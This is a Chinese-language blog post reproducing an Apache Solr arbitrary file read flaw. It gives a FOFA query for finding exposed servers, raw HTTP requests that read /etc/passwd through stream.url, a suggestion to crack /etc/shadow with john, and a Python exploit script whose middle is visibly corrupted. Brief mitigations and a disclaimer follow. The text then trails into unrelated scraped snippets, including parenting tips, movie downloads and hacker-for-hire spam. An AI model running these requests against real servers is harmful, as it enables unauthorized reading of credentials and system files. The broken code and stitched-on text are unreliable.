Apache Solr 全版本存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标系统的敏感文件
全版本
fofa搜索标题:app="Solr"?|| app=""Apache-Solr"
下载Solr进行解压缩:
https://solr.apache.org/downloads.html #solr下载
进入Solr的bin目录执行命令:
https://www.freebuf.com/articles/web/solr strat
访问url,出现如下页面即为启动成功。
http://192.168.153.7:8983
此时启动的solr是没有核心进行索引和搜索的。
https://www.freebuf.com/articles/web/solr create -c <name> # 创建一个数据驱动模式的核心
访问url:
http://192.168.153.7:8983/solr/admin/cores?indexInfo=false&wt=json
burp数据包为:
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 84
当出现"This response format is experimental.? It is likely to change in the future." 表示存在漏洞。
进行文件读取:
POST /solr/henry/debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 35 Content-Type: application/x-www-form-urlencoded stream.url=file:///etc/passwd
也可以读取shadow文件然后进行john爆破出密码:
POC脚本:
(PeiQi师傅,永远的神!)
# coding=utf-8 # Apache Solr 全版本任意文件读取 # Fofa:app="Apache-Solr" || app="Solr" import requests import json import sys import time def title(): print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+") print("+~~~~~~ Apache Solr 全版本任意文件读取 ~~~~~~+") print("+~~~~~~ Use: python3 solr.py ~~~~~~+") print("+~~~~~~ url: http://x.x.x.x:port ~~~~~~+") print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+") time.sleep(2) def get_name(url): url_1=url + "/solr/admin/cores?indexInfo=false&wt=json" try: res=requests.get(url=url_1) #将json数据python字典话 name=str(list(json.loads(res.text)["status"])[0]) print("[!] 获取到目标系统name:\033[31m%s\033[0m"%name+" [0]"+"URL:"+url+"/solr/"+name+"/config") return name except Exception as e: print("[!] 目标URL无法进行利用。",e) sys.exit(0) def check_vul(url,name): url_2=url +"/solr/" + name + "/config" data='\033\0m".format(content)) except Exception as e: print("[!] 目标系统似乎意外中断了",e) sys.exit(0) if __name__=="__main__": title() url=str(input(" [!] 请输入目标系统URL: ")) name=get_name(url) check_vul(url,name) file_name=str(input("[!] 请输入要读取的文件:")) read_files(url,name,file_name)
由于目前官方不予修复该漏洞,暂无安全版本。
1. 开启身份验证/授权
2. 配置防火墙策略,确保Solr API(包括Admin UI)只有受信任的IP和用户才能访问
3.禁止将Apache Solr放置在外网
本次复现是本地搭建模拟攻击行为,本文章仅用于交流学习,请勿使用该漏洞进行违法活动。
https://github.com/Henry4E36/Solr
https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg
对于新手妈妈来说,刚看到孩子小小的一只,妈妈要学会给孩子换纸尿裤了,多少有点不知道从何下手,那么妈妈在给宝宝 换纸尿裤的时候有哪些常见的错误呢。下面小编就来说一说。 换纸尿裤有哪些常见的误区 贴...
本文导读目录: 1、黑客帝国3:矩阵革命高清完整版下载地址 2、求所有黑客帝国系列的电影的下载地址 3、有谁知道黑客帝国3矩阵革命的下载地址啊 4、黑客帝国1~3高清迅雷下载 5、黑客...
假如你需要掌握加盟网可靠吗?怎样才能够避免加盟商机网上当受骗得话,最先你需要了解一下加盟网是实际什么。加盟网是针对我国中小型企业寻找供需创业商机的服务平台,它是一个非常大的系统软件很健全的电子商务服务...
黑客攻击的方法与技术(黑客攻击传奇私服方法)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客...
你好,如果别人设置了手机号码,而且对方也设置为全部人可看到的话,你就可以看,如有有设置权限,那么就可能看不到。这个是需要根据对方的设置来决。 1、不可能,除非他是运营商内部人员;2、每部手机都有GPS...
作业十余载,所学和所得都超乎幻想的饱满,也对人情世故的了解越来越深化了解,所谓有人的当地就有江湖,hi,兄弟,咱们好久不见你在哪里,假如真的是你请打招待…….。 人与江湖在谈笑之间,也在弹指一挥间。...